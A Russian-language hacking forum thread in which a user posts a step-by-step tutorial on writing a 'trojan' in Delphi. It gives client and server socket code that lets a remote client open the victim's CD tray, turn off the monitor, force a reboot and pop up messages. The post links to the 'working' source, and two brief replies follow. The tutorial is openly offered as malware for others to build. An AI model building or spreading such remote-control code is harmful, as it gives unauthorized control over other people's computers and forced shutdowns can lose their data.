GrabInfo - Хакнем все
Профиль
Четверг
23.02.2012
05:54


Личные сообщения() · Новые сообщения · Участники · Правила форума · Поиск · RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
GrabInfo - Хакнем все » Кодинг » Delphi » Пишем троян в delphi (*icon-0*)
Пишем троян в delphi
Duos^Дата: Четверг, 23.12.2010, 20:25 | Сообщение # 1
Главный Хакерок
Сообщений: 108
Offline
И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.

CLIENT

Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo".

Для начала довайте компоненту clientsocket сменим имя на cs
Теперь измените свойство caption у ваших кнопок как показанно на скрине

теперь у формы в событии OnGreate пишим

Code
cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт

теперь у в обработчике собития OnClick кнопки "Коннект" пишем код

Code
var s:string;
begin
cs.Active:=true; //Коннектимся
if cs.Socket.Connected=true then begin //Если подключились то
memo1.lines.add('Соединение установленно...'); //пишим в memo
end else //в противном случае пишим это
memo1.lines.add('Соединение неустановленно...'); //<--вот это

теперь у кнопки "Дисконнект"

Code
cs.Close; //Закрываем сокет
memo1.lines.add('Соединение закрыто!'); //пишим в memo

теперь у кнопки "Открыть сидюк"

Code
cs.Socket.SendText('CDOPEN');//посылаем серверу комманду CDOPEN

теперь у кнопки "Закрыть сидюк"

Code
cs.Socket.SendText('CDCLOSE');//посылаем серверу комманду CDCLOSE

теперь у кнопки "Потушить монитор"

Code
cs.Socket.SendText('MONIKOFF');//посылаем серверу комманду MONIKOFF

теперь у кнопки "Ребутнуть удалённый"

Code
cs.Socket.SendText('FORCE');//посылаем серверу комманду FORCE

теперь у кнопки "Послать сообщение"

Code
cs.Socket.SendText('MSG'+edit2.text);//посылаем серверу комманду FORCE

Ну вот впринципе и всё, с клиентом поконченно, компилируем CTRL+f9!

SERVER

На форму кидаем serversocket с вкладки internet
У формы в событии OnGreate пишем

Code
serversocket1.port:=123;//Назначаем порт
serversocket1.active:=true//начинаем слушать порт

Теперь у компонента serversocket1 в событии cliendread пишем код

Code
var s:string; //обьявляем переменную в которой будут храниться данный которые пришли от клиента
begin
s:=socket.ReceiveText; //присвиваем переменной s текст который пришёл от клиента
if s='CDOPEN' then //если CDOPEN то открыть сидюк
mciSendString('Set cdaudio door open wait', nil, 0, handle);
if s='CDCLOSE' then //если CDCLOSE значит закрыть сидюк
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if s='MONIKOFF' then //Если пришла комманда MONIKOFF значит вырубаем монитор
SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
if s='FORCE' then //Если пришла комманда FORCE то вырубаем комп
ExitWindowsEx(EWX_FORCE or ewx_force,0);
if copy(s,1,3)='MSG' then //копируем первые 3 символа, если они равняються коммане MSG значит вывести мессагу
Messagebox(0,pchar(copy(s,4,length(s))),'Message', 0);

Всё- сервер готов, теперь компилируете- запускаете сервер, клиент- коннектитесь и тестите!
Исходники работоспособного троя к статье можите скачать тут.
By Nobody4all
© hacker-pro


fdsg
angimeinzДата: Вторник, 28.12.2010, 23:18 | Сообщение # 2
Сообщений: 1
Offline
Суперская вещь, а если я исодник работоспособного трояна скачаю, он мне камп не раздолбит?
Duos^Дата: Среда, 29.12.2010, 00:07 | Сообщение # 3
Главный Хакерок
Сообщений: 108
Offline
нет от исходника ниче не будет

fdsg
GrabInfo - Хакнем все » Кодинг » Delphi » Пишем троян в delphi (*icon-0*)
Страница 1 из 11
Поиск:
Новый ответ
Имя:
Текст сообщения:
Опции сообщения:
Код безопасности:
Проверить тиц pr